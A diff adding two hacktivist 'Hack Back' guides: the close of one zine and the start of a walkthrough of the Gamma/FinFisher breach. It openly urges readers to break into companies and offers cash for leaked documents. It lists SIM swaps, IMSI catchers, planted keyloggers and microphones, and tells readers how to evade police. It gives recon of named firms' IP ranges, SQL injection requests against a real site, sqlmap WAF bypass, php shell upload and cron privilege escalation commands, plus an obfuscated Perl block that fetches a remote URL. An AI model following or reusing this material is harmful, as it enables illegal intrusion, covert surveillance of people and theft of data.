+ The best way to learn to hack is by hacking. Put together a laboratory with virtual machines and start testing things, taking a break to investigate anything you don't understand. At the very least you will want a windows server as a domain controller, another normal Windows vm attached to the domain, and a development machine with visual studio to compile and modify tools. Try to make an office document with macros that launch meterpreter or another RAT, and try meterpreter, mimikatz, bloodhound, kerberoasting, smb relaying, psexec and other lateral movement techniques[1]; as well as the other scripts, tools and techniques mentioned in this guide and in the previous one[2]. At first you can disable windows defender, but then try it all by having it activated [3][4] (but deactivating the automatic sending of samples). Once you're comfortable with all that, you'll be ready to hack 99% of companies. There are a couple of things that at some point will be very useful in your learning, such as getting comfortable with bash and cmd.exe, a basic domain of powershell, python and javascript, having knowledge of kerberos [5][6] and active directory [7][8][9][10], and fluent English. A good introductory book is The Hacker Playbook.
401
+
402
+ I also want to write a little about things to not focus on if you don't want to entertain the idea of you hacking things just because someone has told you that you are not a “real” hacker if you don't know assembly. Obviously, learn whatever interests you, but I write these lines thinking about those things that you can focus on in order to get practical results if you're looking to hack companies to filter and expropriate. A basic knowledge of web application security [11] is useful, but specializing more in web security is not really the best use of your time, unless you want to make a career in pentesting or chasing bug rewards. CTFs, and most of the resources you'll find when looking for information about hacking, generally focus on skills such as web security, reverse engineering, exploit development, etc. These things make sense by understanding them as a way to prepare people for careers in the industry, but not for our goals. Intelligence agencies can afford to have a team dedicated to the most advanced techniques in fuzzing, a team working on exploit development with a guy investigating exclusively the new techniques of heap manipulation, etc. We don't have the time or the resources for that. The two most important skills for practical hacking are phishing [12] and social engineering to get initial access, and then being able to climb and move through the Windows domains.
403
+
404
+ [1] https://hausec.com/2019/08/12/offensive-lateral-movement/
405
+ [2] https://www.exploit-db.com/papers/41914
406
+ [3] https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf
407
+ [4] https://www.trustedsec.com/blog/discovering-the-anti-virus-signature-and-bypassing-it/
408
+ [5] https://www.tarlogic.com/en/blog/how-kerberos-works/
409
+ [6] https://www.tarlogic.com/en/blog/how-to-attack-kerberos/
410
+ [7] https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/
411
+ [8] https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/
412
+ [9] https://adsecurity.org/
413
+ [10] https://github.com/infosecn1nja/AD-Attack-Defense
414
+ [11] https://github.com/jhaddix/tbhm
415
+ [12] https://blog.sublimesecurity.com/red-team-techniques-gaining-access-on-an-external-engagement-through-spear-phishing/
416
+
417
+ [12 - Recommended Reading]
418
+
419
+ *******
420
+ _______________________________________
421
+ / When the scientific level of a world \
422
+ | far exceeds its level of solidarity, |
423
+ \ that world destroys itself. /
424
+ --------------------------------------
425
+ \ _.---._ . .
426
+ * \.' '. *
427
+ * _.-~===========~-._
428
+ . (___________________) . *
429
+ .' \_______/ .'
430
+ .' .'
431
+ '
432
+ - me
433
+ *******
434
+
435
+ Almost all hacking today is done by black hat hackers, for personal gain; or for white hat hackers, for the benefit of the shareholders (and in defense of the banks, companies and states that are annihilating us and the planet in which we live); and by military and intelligence agencies, as part of their war and conflict agenda. Seeing that this our world is already at the limit, I have thought that, in addition to these technical tips for learning to hack, I should include some resources that have been very important for my development and have guided me in the use of my hacking knowledge.
436
+
437
+ * Ami: El Niño de las Estrellas – Enrique Barrios
438
+ * La Anarquía Funciona: https://es.theanarchistlibrary.org/library/peter-gelderloos-la-anarquia-funciona
439
+ * Viviendo Mi Vida – Emma Goldman
440
+ * The Rise and Fall of Jeremy Hammond, Enemy of the State: https://www.rollingstone.com/culture/culture-news/the-rise-and-fall-of-jeremy-hammond-enemy-of-the-state-183599/
441
+ Este cuate y el hack de HBGary fueron una inspiración
442
+ * Días de Guerra, Noches de Amor – Crimethinc
443
+ * Momo – Michael Ende
444
+ * Cartas a un joven poeta – Rilke
445
+ * Dominion (Documentary)
446
+
447
+ "We cannot believe that, if we do not look, what we do not want to see will not happen"
448
+ - Tolstoy in Первая ступень
449
+
450
+ Bash Back!
451
+
452
+ [13 - Heal]
453
+ The hacker world has a high incidence of depression, suicides and certain battles with mental health. I don't think it's because of hacking, but because of the kind of environment that hackers mostly come from. Like many hackers, I grew up with little human contact: I was a girl raised by the internet. I have my struggles with depression and emotional numbness. Willie Sutton is frequently quoted as saying that he robbed banks because "that's where the money is," but the quote is incorrect. What he really said was:
454
+
455
+ Why did I rob banks? Because I enjoyed it. I loved to do it. I was more alive when I was inside a bank, in full robbery, than at any other time in my life. I enjoyed it so much that one or two weeks later I was already looking for the next opportunity. But for me money was a minutiae, nothing more.
456
+
457
+ Hacking has made me feel alive. It started as a way to self-medicate depression. Later I realized that, in reality, I could do something positive. I don't regret the way I grew up at all, it brought several beautiful experiences to my life. But I knew I couldn't continue living that way. So I began to spend more time away from my computer, with other people, learning to open myself to the world, to feel my emotions, to connect with others, to accept risks and be vulnerable. Things much harder than hacking, but at the mere hour the reward is more worth it. It is still an effort, but even if it is slow and wobbly, I feel that I am on my way.
458
+
459
+ Hacking, done with conscience, can also be what heals us. According to Mayan wisdom, we have a gift granted by nature, which we must understand to put it at the service of the community. In [1], it is explained:
460
+
461
+ When a person does not accept his job or mission he begins to suffer from seemingly incurable diseases; although he does not die in a short time, but only suffers, in order to wake up or become aware. That is why it is essential that a person who has acquired the knowledge and does his work in the communities must pay his Toj and maintain constant communication with the Creator and his ruwäch q’ij, since he constantly needs their strength and energy. Otherwise, the diseases that caused him to react or take the job could cause damage again.
462
+
463
+ If you feel that hacking is feeding your isolation, depression, or other conditions, breathe. Give yourself some time to meet and become aware. You deserve to live happily, with health and fullness.
464
+
465
+ ******
466
+ ________________________
467
+ < All Cows Are Beautiful >
468
+ ------------------------
469
+ \
470
+ \ ^__^
471
+ (oo)\_______
472
+ ( (__)\ )\/\
473
+ _) / ||----w |
474
+ (.)/ || ||
475
+ `'
476
+ ******
477
+
478
+ [1] Ruxe’el mayab’ K’aslemäl: Raíz y espíritu del conocimiento maya
479
+ https://www.url.edu.gt/publicacionesurl/FileCS.ashx?Id=41748
480
+
481
+ [14 - The Bug Hacktivist Program]
482
+ It seems to me that hacking to get and leak documents of public interest is one of the best ways in which hackers can use their skills for the benefit of society. Unfortunately for us hackers, as in almost every category, the perverse incentives of our economic system do not coincide with what benefits society. So this program is my attempt to make it possible for good hackers to earn a living in an honest way by revealing material of public interest, instead of having to go selling their work to the cybersecurity, cybercrime or business industries. Cyberwar Some examples of companies whose leaks I would love to pay for are:
483
+ - the mining, logging and livestock companies that plunder our beautiful Latin America (and kill land and territory defenders trying to stop them)
484
+ - companies involved in attacks on Rojava such as Baykar Makina or Havelsan
485
+ - surveillance companies such as the NSO group
486
+ - war criminals and birds of prey such as Blackwater and Halliburton
487
+ - private penitentiary companies such as GeoGroup and CoreCivic / CCA, and corporate lobbyists such as ALEC
488
+
489
+ Pay attention when choosing where to investigate. For example, it is well known that oil companies are evil: they get rich at the cost of destroying the planet (and back in the 80s the companies themselves already knew about the consequences of their activity [1]). But if you hack them directly, you will have to dive into an incredible amount of boring information about your daily operations. Very likely it will be much easier for you to find something interesting if instead you focus on your lobbyists [2]. Another way to select viable goals is to read stories of investigative journalists (such as [3]), which are interesting but lack solid evidence. And that is exactly what your hacks can find.
490
+
491
+ I will pay up to 100 thousand USD for each filtration of this type, according to the public interest and impact of the material, and the labor required in the hacking. Needless to say, a complete leak of the documents and internal communications of any of these companies will be a benefit for society that exceeds those one hundred thousand, but I am not trying to enrich anyone. I just want to provide enough funds so that hackers can earn a decent living doing a good job. Due to time constraints and safety considerations I will not open the material, nor inspect it for myself, but I will read what the press says about it once it has been published, and I will make an estimate of the public interest from there. My contact information is at the end of the guide mentioned above [4].
492
+
493
+ How you get the material is your thing. You can use the traditional hacking techniques outlined in this guide and the previous one [4]. You could do a sim swap [5] on a corrupt businessman or politician, and then download his emails and backups from the cloud. You can order an IMSI catcher from alibaba and use it outside its offices. You can do some war-driving (the old way or the new [6]). You may be a person within your organizations that already has access. You can opt for a low-tech old-school style like in [7] and [8], and simply sneak into their offices. Whatever works for you.
494
+
495
+ [1] https://www.theguardian.com/environment/climate-consensus-97-per-cent/2018/sep/19/shell-and-exxons-secret-1980s-climate-change-warnings
496
+ [2] https://theintercept.com/2019/08/19/oil-lobby-pipeline-protests/
497
+ [3] https://www.bloomberg.com/features/2016-como-manipular-una-eleccion/
498
+ [4] https://www.exploit-db.com/papers/41914
499
+ [5] https://www.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin
500
+ [6] https://blog.rapid7.com/2019/09/05/this-one-time-on-a-pen-test-your-mouse-is-my-keyboard/
501
+ [7] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
502
+ [8] https://en.wikipedia.org/wiki/Unnecessary_Fuss
503
+
504
+ [14.1 - Partial payments]
505
+ Are you a good-hearted waitress working in a company of evil [1]? Would you be willing to sneak a physical keylogger into an executive's computer, change your USB charging cable for a modified one [2], hide a microphone in a meeting room where you plan your atrocities, or leave one of these [5] forgotten in some corner of the offices?
506
+
507
+ [1] https://en.wikipedia.org/wiki/Evil_maid_attack
508
+ [2] http://mg.lol/blog/defcon-2019/
509
+ [3] https://shop.hak5.org/products/lan-turtle
510
+
511
+ Are you good with social engineering and phishing, and did you get a shell on an employee's computer, or did you get your vpn credentials using phishing? But maybe you couldn't get domain admin and download what you wanted?
512
+
513
+ Did you participate in bug bounties programs and become an expert in web application hacking, but don't have enough hacker experience to completely penetrate the company?
514
+
515
+ Do you have facility with reverse engineering? Scan some evil companies to see what devices they have exposed to the internet (firewall, VPN, and email gateways will be much more useful than things like IP cameras), apply reverse engineering and find some exploitable vulnerability remotely.
516
+
517
+ If I can work with you to penetrate the company and get material of public interest, you will also be rewarded for your work. If I don't have the time to work on it myself, at least I will try to advise you on how to continue until you can complete the hacking on your own.
518
+
519
+ Supporting those in power to hack and monitor dissidents, activists and the general population is today an industry of several billion dollars, while hacking and exposing those in power is a voluntary and risky job. Turning it into a multi-million dollar industry will certainly not fix that power imbalance, nor will it solve the problems.
520
+ More of society. But I think it will be fun. So ... I want to see people starting to collect their rewards!
521
+
522
+ [15 - Abolish prisons]
523
+ Built by the enemy to enclose ideas
524
+ enclosing companions to silence war cries
525
+ it is the center of torture and annihilation
526
+ where the human being becomes more violent
527
+ It is the reflection of society, repressive and prison
528
+ sustained and based on authoritarian logic
529
+ repressed and guarded custodians
530
+ thousands of dams and prisoners are exterminated
531
+ before this schizophrenic and ruthless machine
532
+ companion Axel Osorio giving the strip in the cane
533
+ breaking the isolation and silencing
534
+ fire and war to jail, we are destroying!
535
+
536
+ Rap Insurgent - Words In Conflict
537
+
538
+ It would be typical to end a hacker zine saying release hammond, release manning, release hamza, release detainees by mounting the дело Сети, etc. I am going to take this tradition to its most radical consequence[1], and to say: we must abolish prisons now! Being a criminal myself, they may think that what happens is that I have a slightly skewed view of the matter. But seriously, it is not even a controversial issue, even the UN almost agrees [2]. So, once and for all, free migrants [3][4][5][6], often imprisoned by those same countries that created the war and the environmental and economic destruction they are fleeing from. Free all those in prison because of the war against those who use drugs [7]. Free all people imprisoned in the war against the poor [8]. All the prisons is hide and ignore the proof of the existence of social problems, instead of fixing them. And until everyone is released, fight the prison system by remembering and keeping in mind those who are trapped in there. Send them honey, letters, helicopters [9], pirate radios [10] and books, and support those who organize from there with [11][12].
539
+
540
+ [1] http://www.bibliotecafragmentada.org/wp-content/uploads/2017/12/Davis-Son-obsoletas-las-prisiones-final.pdf
541
+ [2] https://www.unodc.org/pdf/criminal_justice/Handbook_of_Basic_Principles_and_Promising_Practices_on_Alternatives_to_Imprisonment.pdf
542
+ [3] https://www.theguardian.com/us-news/2016/dec/21/us-immigration-detention-center-christmas-santa-wish-list
543
+ [4] https://www.theguardian.com/us-news/2016/aug/18/us-border-patrol-facility-images-tucson-arizona
544
+ [5] https://www.playgroundmag.net/now/detras-Centros-Internamiento-Extranjeros-Espana_22648665.html
545
+ [6] https://www.nytimes.com/2019/06/26/world/australia/australia-manus-suicide.html
546
+ [7] https://en.wikiquote.org/wiki/John_Ehrlichman#Quotes
547
+ [8] VI, 2. i. The Unpaid Fine: https://scielo.conicyt.cl/scielo.php?script=sci_arttext&pid=S0718-00122012000100005
548
+ [9] p. 10, Libel Nº2. Political bulletin from the High Security Prison
549
+ [10] https://itsgoingdown.org/transmissions-hostile-territory/
550
+ [11] https://freealabamamovement.wordpress.com/f-a-m-pamphlet-who-we-are/
551
+ [12] https://incarceratedworkers.org/
552
+
553
+ [16 - Conclusion]
554
+ Our world is upside down [1]. We have a justice system that represents injustice. The law and order are there to create an illusion of social peace, and hide the systematic and profound exploitation, violence, and injustice. Better follow your conscience, and not the law.
555
+
556
+ [1] http://resistir.info/livros/galeano_patas_arriba.pdf
557
+ Businessmen enrich themselves by mistreating people and the planet, while care work is largely unpaid. Through the assault on everything communal, we have somehow raised densely populated cities, plagued by loneliness and isolation. The cultural, political and economic system in which we live encourages the worst facets of human nature: greed, selfishness and self-centeredness, competitiveness, lack of compassion and attachment to authority. So, for those who have managed to remain sensitive and compassionate in a cold world, for all the everyday heroines that practice goodness in small things, for all of you who still have a star burning in your hearts: гоpи, гоpи ясно, чтобы не погасло!
558
+
559
+ ********
560
+ _____________________
561
+ <Let's sing together! >
562
+ ---------------------
563
+ \
564
+ \ ^__^
565
+ (oo)\_______
566
+ ( (__)\ )\/\
567
+ _) / ||----w |
568
+ (.)/ || ||
569
+
570
+ Open heart
571
+ Open feeling
572
+ Open understanding
573
+ Leave reason aside
574
+ And let the sun hidden inside you shine
575
+ ********
576
+
577
+ ********
578
+ perl -Mre=eval <<\EOF
579
+ ''
580
+ =~(
581
+ '(?'
582
+ .'{'.(
583
+ '`'|'%'
584
+ ).("\["^
585
+ '-').('`'|
586
+ '!').("\`"|
587
+ ',').'"(\\$'
588
+ .':=`'.(('`')|
589
+ '#').('['^'.').
590
+ ('['^')').("\`"|
591
+ ',').('{'^'[').'-'.('['^'(').('{'^'[').('`'|'(').('['^'/').('['^'/').(
592
+ '['^'+').('['^'(').'://'.('`'|'%').('`'|'.').('`'|',').('`'|'!').("\`"|
593
+ '#').('`'|'%').('['^'!').('`'|'!').('['^'+').('`'|'!').('['^"\/").(
594
+ '`'|')').('['^'(').('['^'/').('`'|'!').'.'.('`'|'%').('['^'!')
595
+ .('`'|',').('`'|'.').'.'.('`'|'/').('['^')').('`'|"\'").
596
+ '.'.('`'|'-').('['^'#').'/'.('['^'(').('`'|('$')).(
597
+ '['^'(').('`'|',').'-'.('`'|'%').('['^('(')).
598
+ '/`)=~'.('['^'(').'|</'.('['^'+').'>|\\'
599
+ .'\\'.('`'|'.').'|'.('`'|"'").';'.
600
+ '\\$:=~'.('['^'(').'/<.*?>//'
601
+ .('`'|"'").';'.('['^'+').('['^
602
+ ')').('`'|')').('`'|'.').(('[')^
603
+ '/').('{'^'[').'\\$:=~/('.(('{')^
604
+ '(').('`'^'%').('{'^'#').('{'^'/')
605
+ .('`'^'!').'.*?'.('`'^'-').('`'|'%')
606
+ .('['^'#').("\`"| ')').('`'|'#').(
607
+ '`'|'!').('`'| '.').('`'|'/')
608
+ .'..)/'.('[' ^'(').'"})')
609
+ ;$:="\."^ '~';$~='@'
610
+ |'(';$^= ')'^'[';
611
+ $/='`' |'.';
612
+ $,= '('
613
+ EOF
614
+ ********
615
+
616
+ ********
617
+ We were born at night.
618
+ We live in it, we hack in it.
619
+
620
+ Here we are, we are the rebel dignity,
621
+ the forgotten heart of the Интернет.
622
+
623
+ Our fight is for memory and justice,
624
+ and the bad government is filled with criminals and murderers.
625
+
626
+ Our fight is for fair and decent work,
627
+ and bad government and corporations buy and sell zero days.
628
+
629
+ For all tomorrow.
630
+ For us the happy rebellion of the leaks
631
+ and expropriation.
632
+
633
+ For all everything.
634
+ For us nothing.
635
+
636
+
637
+ From the mountains of the Cyber Southeast,
638
+
639
+ _ _ _ ____ _ _
640
+ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
641
+ | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
642
+ | _ | (_| | (__| < | |_) | (_| | (__| <|_|
643
+ |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
644
+ ********
phineas/gamma.txt ADDED
@@ -0,0 +1,407 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _ _ _ ____ _ _
2
+ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
3
+ | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
4
+ | _ | (_| | (__| < | |_) | (_| | (__| <|_|
5
+ |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
6
+
7
+ A DIY Guide for those without the patience to wait for whistleblowers
8
+
9
+
10
+ --[ 1 ]-- Introduction
11
+
12
+ I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
13
+ it took to 0wn Gamma. I'm writing this to demystify hacking, to show how simple
14
+ it is, and to hopefully inform and inspire you to go out and hack shit. If you
15
+ have no experience with programming or hacking, some of the text below might
16
+ look like a foreign language. Check the resources section at the end to help you
17
+ get started. And trust me, once you've learned the basics you'll realize this
18
+ really is easier than filing a FOIA request.
19
+
20
+
21
+ --[ 2 ]-- Staying Safe
22
+
23
+ This is illegal, so you'll need to take same basic precautions:
24
+
25
+ 1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
26
+ 2) Inside the encrypted volume install Whonix [1]
27
+ 3) (Optional) While just having everything go over Tor thanks to Whonix is
28
+ probably sufficient, it's better to not use an internet connection connected
29
+ to your name or address. A cantenna, aircrack, and reaver can come in handy
30
+ here.
31
+
32
+ [0] https://truecrypt.ch/downloads/
33
+ [1] https://www.whonix.org/wiki/Download#Install_Whonix
34
+
35
+ As long as you follow common sense like never do anything hacking related
36
+ outside of Whonix, never do any of your normal computer usage inside Whonix,
37
+ never mention any information about your real life when talking with other
38
+ hackers, and never brag about your illegal hacking exploits to friends in real
39
+ life, then you can pretty much do whatever you want with no fear of being v&.
40
+
41
+ NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
42
+ for some things like web browsing, when it comes to using hacking tools like
43
+ nmap, sqlmap, and nikto that are making thousands of requests, they will run
44
+ very slowly over Tor. Not to mention that you'll want a public IP address to
45
+ receive connect back shells. I recommend using servers you've hacked or a VPS
46
+ paid with bitcoin to hack from. That way only the low bandwidth text interface
47
+ between you and the server is over Tor. All the commands you're running will
48
+ have a nice fast connection to your target.
49
+
50
+
51
+ --[ 3 ]-- Mapping out the target
52
+
53
+ Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
54
+ domain names, and reverse whois lookups to find all IP address space and domain
55
+ names associated with an organization.
56
+
57
+ [0] http://ha.ckers.org/fierce/
58
+
59
+ For an example let's take Blackwater. We start out knowing their homepage is at
60
+ academi.com. Running fierce.pl -dns academi.com we find the subdomains:
61
+ 67.238.84.228 email.academi.com
62
+ 67.238.84.242 extranet.academi.com
63
+ 67.238.84.240 mail.academi.com
64
+ 67.238.84.230 secure.academi.com
65
+ 67.238.84.227 vault.academi.com
66
+ 54.243.51.249 www.academi.com
67
+
68
+ Now we do whois lookups and find the homepage of www.academi.com is hosted on
69
+ Amazon Web Service, while the other IPs are in the range:
70
+ NetRange: 67.238.84.224 - 67.238.84.255
71
+ CIDR: 67.238.84.224/27
72
+ CustName: Blackwater USA
73
+ Address: 850 Puddin Ridge Rd
74
+
75
+ Doing a whois lookup on academi.com reveals it's also registered to the same
76
+ address, so we'll use that as a string to search with for the reverse whois
77
+ lookups. As far as I know all the actual reverse whois lookup services cost
78
+ money, so I just cheat with google:
79
+ "850 Puddin Ridge Rd" inurl:ip-address-lookup
80
+ "850 Puddin Ridge Rd" inurl:domaintools
81
+
82
+ Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
83
+ fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
84
+ whois lookups and repeat the process until you've found everything.
85
+
86
+ Also just google the organization and browse around its websites. For example on
87
+ academi.com we find links to a careers portal, an online store, and an employee
88
+ resources page, so now we have some more:
89
+ 54.236.143.203 careers.academi.com
90
+ 67.132.195.12 academiproshop.com
91
+ 67.238.84.236 te.academi.com
92
+ 67.238.84.238 property.academi.com
93
+ 67.238.84.241 teams.academi.com
94
+
95
+ If you repeat the whois lookups and such you'll find academiproshop.com seems to
96
+ not be hosted or maintained by Blackwater, so scratch that off the list of
97
+ interesting IPs/domains.
98
+
99
+ In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
100
+ was simply a whois lookup of finfisher.com which found it registered to the name
101
+ "FinFisher GmbH". Googling for:
102
+ "FinFisher GmbH" inurl:domaintools
103
+ finds gamma-international.de, which redirects to finsupport.finfisher.com
104
+
105
+ ...so now you've got some idea how I map out a target.
106
+ This is actually one of the most important parts, as the larger the attack
107
+ surface that you are able to map out, the easier it will be to find a hole
108
+ somewhere in it.
109
+
110
+
111
+ --[ 4 ]-- Scanning & Exploiting
112
+
113
+ Scan all the IP ranges you found with nmap to find all services running. Aside
114
+ from a standard port scan, scanning for SNMP is underrated.
115
+
116
+ Now for each service you find running:
117
+
118
+ 1) Is it exposing something it shouldn't? Sometimes companies will have services
119
+ running that require no authentication and just assume it's safe because the url
120
+ or IP to access it isn't public. Maybe fierce found a git subdomain and you can
121
+ go to git.companyname.come/gitweb/ and browse their source code.
122
+
123
+ 2) Is it horribly misconfigured? Maybe they have an ftp server that allows
124
+ anonymous read or write access to an important directory. Maybe they have a
125
+ database server with a blank admin password (lol stratfor). Maybe their embedded
126
+ devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer's
127
+ default password.
128
+
129
+ 3) Is it running an old version of software vulnerable to a public exploit?
130
+
131
+
132
+ Webservers deserve their own category. For any webservers, including ones nmap
133
+ will often find running on nonstandard ports, I usually:
134
+
135
+ 1) Browse them. Especially on subdomains that fierce finds which aren't intended
136
+ for public viewing like test.company.com or dev.company.com you'll often find
137
+ interesting stuff just by looking at them.
138
+
139
+ 2) Run nikto [0]. This will check for things like webserver/.svn/,
140
+ webserver/backup/, webserver/phpinfo.php, and a few thousand other common
141
+ mistakes and misconfigurations.
142
+
143
+ 3) Identify what software is being used on the website. WhatWeb is useful [1]
144
+
145
+ 4) Depending on what software the website is running, use more specific tools
146
+ like wpscan [2], CMS-Explorer [3], and Joomscan [4].
147
+
148
+ First try that against all services to see if any have a misconfiguration,
149
+ publicly known vulnerability, or other easy way in. If not, it's time to move
150
+ on to finding a new vulnerability:
151
+
152
+ 5) Custom coded web apps are more fertile ground for bugs than large widely used
153
+ projects, so try those first. I use ZAP [5], and some combination of its
154
+ automated tests along with manually poking around with the help of its
155
+ intercepting proxy.
156
+
157
+ 6) For the non-custom software they're running, get a copy to look at. If it's
158
+ free software you can just download it. If it's proprietary you can usually
159
+ pirate it. If it's proprietary and obscure enough that you can't pirate it you
160
+ can buy it (lame) or find other sites running the same software using google,
161
+ find one that's easier to hack, and get a copy from them.
162
+
163
+ [0] http://www.cirt.net/nikto2
164
+ [1] http://www.morningstarsecurity.com/research/whatweb
165
+ [2] http://wpscan.org/
166
+ [3] https://code.google.com/p/cms-explorer/
167
+ [4] http://sourceforge.net/projects/joomscan/
168
+ [5] https://code.google.com/p/zaproxy/
169
+
170
+
171
+ For finsupport.finfisher.com the process was:
172
+
173
+ * Start nikto running in the background.
174
+
175
+ * Visit the website. See nothing but a login page. Quickly check for sqli in the
176
+ login form.
177
+
178
+ * See if WhatWeb knows anything about what software the site is running.
179
+
180
+ * WhatWeb doesn't recognize it, so the next question I want answered is if this
181
+ is a custom website by Gamma, or if there are other websites using the same
182
+ software.
183
+
184
+ * I view the page source to find a URL I can search on (index.php isn't
185
+ exactly unique to this software). I pick Scripts/scripts.js.php, and google:
186
+ allinurl:"Scripts/scripts.js.php"
187
+
188
+ * I find there's a handful of other sites using the same software, all coded by
189
+ the same small webdesign firm. It looks like each site is custom coded but
190
+ they share a lot of code. So I hack a couple of them to get a collection of
191
+ code written by the webdesign firm.
192
+
193
+ At this point I can see the news stories that journalists will write to drum
194
+ up views: "In a sophisticated, multi-step attack, hackers first compromised a
195
+ web design firm in order to acquire confidential data that would aid them in
196
+ attacking Gamma Group..."
197
+
198
+ But it's really quite easy, done almost on autopilot once you get the hang of
199
+ it. It took all of a couple minutes to:
200
+
201
+ * google allinurl:"Scripts/scripts.js.php" and find the other sites
202
+
203
+ * Notice they're all sql injectable in the first url parameter I try.
204
+
205
+ * Realize they're running Apache ModSecurity so I need to use sqlmap [0] with
206
+ the option --tamper='tamper/modsecurityversioned.py'
207
+
208
+ * Acquire the admin login information, login and upload a php shell [1] (the
209
+ check for allowable file extensions was done client side in javascript), and
210
+ download the website's source code.
211
+
212
+ [0] http://sqlmap.org/
213
+ [1] https://epinna.github.io/Weevely/
214
+
215
+ Looking through the source code they might as well have named it Damn Vulnerable
216
+ Web App v2 [0]. It's got sqli, LFI, file upload checks done client side in
217
+ javascript, and if you're unauthenticated the admin page just sends you back to
218
+ the login page with a Location header, but you can have your intercepting proxy
219
+ filter the Location header out and access it just fine.
220
+
221
+ [0] http://www.dvwa.co.uk/
222
+
223
+ Heading back over to the finsupport site, the admin /BackOffice/ page returns
224
+ 403 Forbidden, and I'm having some issues with the LFI, so I switch to using the
225
+ sqli (it's nice to have a dozen options to choose from). The other sites by the
226
+ web designer all had an injectable print.php, so some quick requests to:
227
+ https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
228
+ https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
229
+ reveal that finsupport also has print.php and it is injectable. And it's
230
+ database admin! For MySQL this means you can read and write files. It turns out
231
+ the site has magicquotes enabled, so I can't use INTO OUTFILE to write files.
232
+ But I can use a short script that uses sqlmap --file-read to get the php source
233
+ for a URL, and a normal web request to get the HTML, and then finds files
234
+ included or required in the php source, and finds php files linked in the HTML,
235
+ to recursively download the source to the whole site.
236
+
237
+ Looking through the source, I see customers can attach a file to their support
238
+ tickets, and there's no check on the file extension. So I pick a username and
239
+ password out of the customer database, create a support request with a php shell
240
+ attached, and I'm in!
241
+
242
+
243
+ --[ 5 ]-- (fail at) Escalating
244
+
245
+ ___________
246
+ < got r00t? >
247
+ -----------
248
+ \ ^__^
249
+ \ (oo)\_______
250
+ (__)\ )\/\
251
+ ||----w |
252
+ || ||
253
+ ^^^^^^^^^^^^^^^^
254
+
255
+ Root over 50% of linux servers you encounter in the wild with two easy scripts,
256
+ Linux_Exploit_Suggester [0], and unix-privesc-check [1].
257
+
258
+ [0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
259
+ [1] https://code.google.com/p/unix-privesc-check/
260
+
261
+ finsupport was running the latest version of Debian with no local root exploits,
262
+ but unix-privesc-check returned:
263
+ WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
264
+ www-data can write to /etc/cron.hourly/mgmtlicensestatus
265
+ WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
266
+ can write to /etc/cron.hourly/webalizer
267
+
268
+ so I add to /etc/cron.hourly/webalizer:
269
+ chown root:root /path/to/my_setuid_shell
270
+ chmod 04755 /path/to/my_setuid_shell
271
+
272
+ wait an hour, and ....nothing. Turns out that while the cron process is running
273
+ it doesn't seem to be actually running cron jobs. Looking in the webalizer
274
+ directory shows it didn't update stats the previous month. Apparently after
275
+ updating the timezone cron will sometimes run at the wrong time or sometimes not
276
+ run at all and you need to restart cron after changing the timezone. ls -l
277
+ /etc/localtime shows the timezone got updated June 6, the same time webalizer
278
+ stopped recording stats, so that's probably the issue. At any rate, the only
279
+ thing this server does is host the website, so I already have access to
280
+ everything interesting on it. Root wouldn't get much of anything new, so I move
281
+ on to the rest of the network.
282
+
283
+
284
+ --[ 6 ]-- Pivoting
285
+
286
+ The next step is to look around the local network of the box you hacked. This
287
+ is pretty much the same as the first Scanning & Exploiting step, except that
288
+ from behind the firewall many more interesting services will be exposed. A
289
+ tarball containing a statically linked copy of nmap and all its scripts that you
290
+ can upload and run on any box is very useful for this. The various nfs-* and
291
+ especially smb-* scripts nmap has will be extremely useful.
292
+
293
+ The only interesting thing I could get on finsupport's local network was another
294
+ webserver serving up a folder called 'qateam' containing their mobile malware.
295
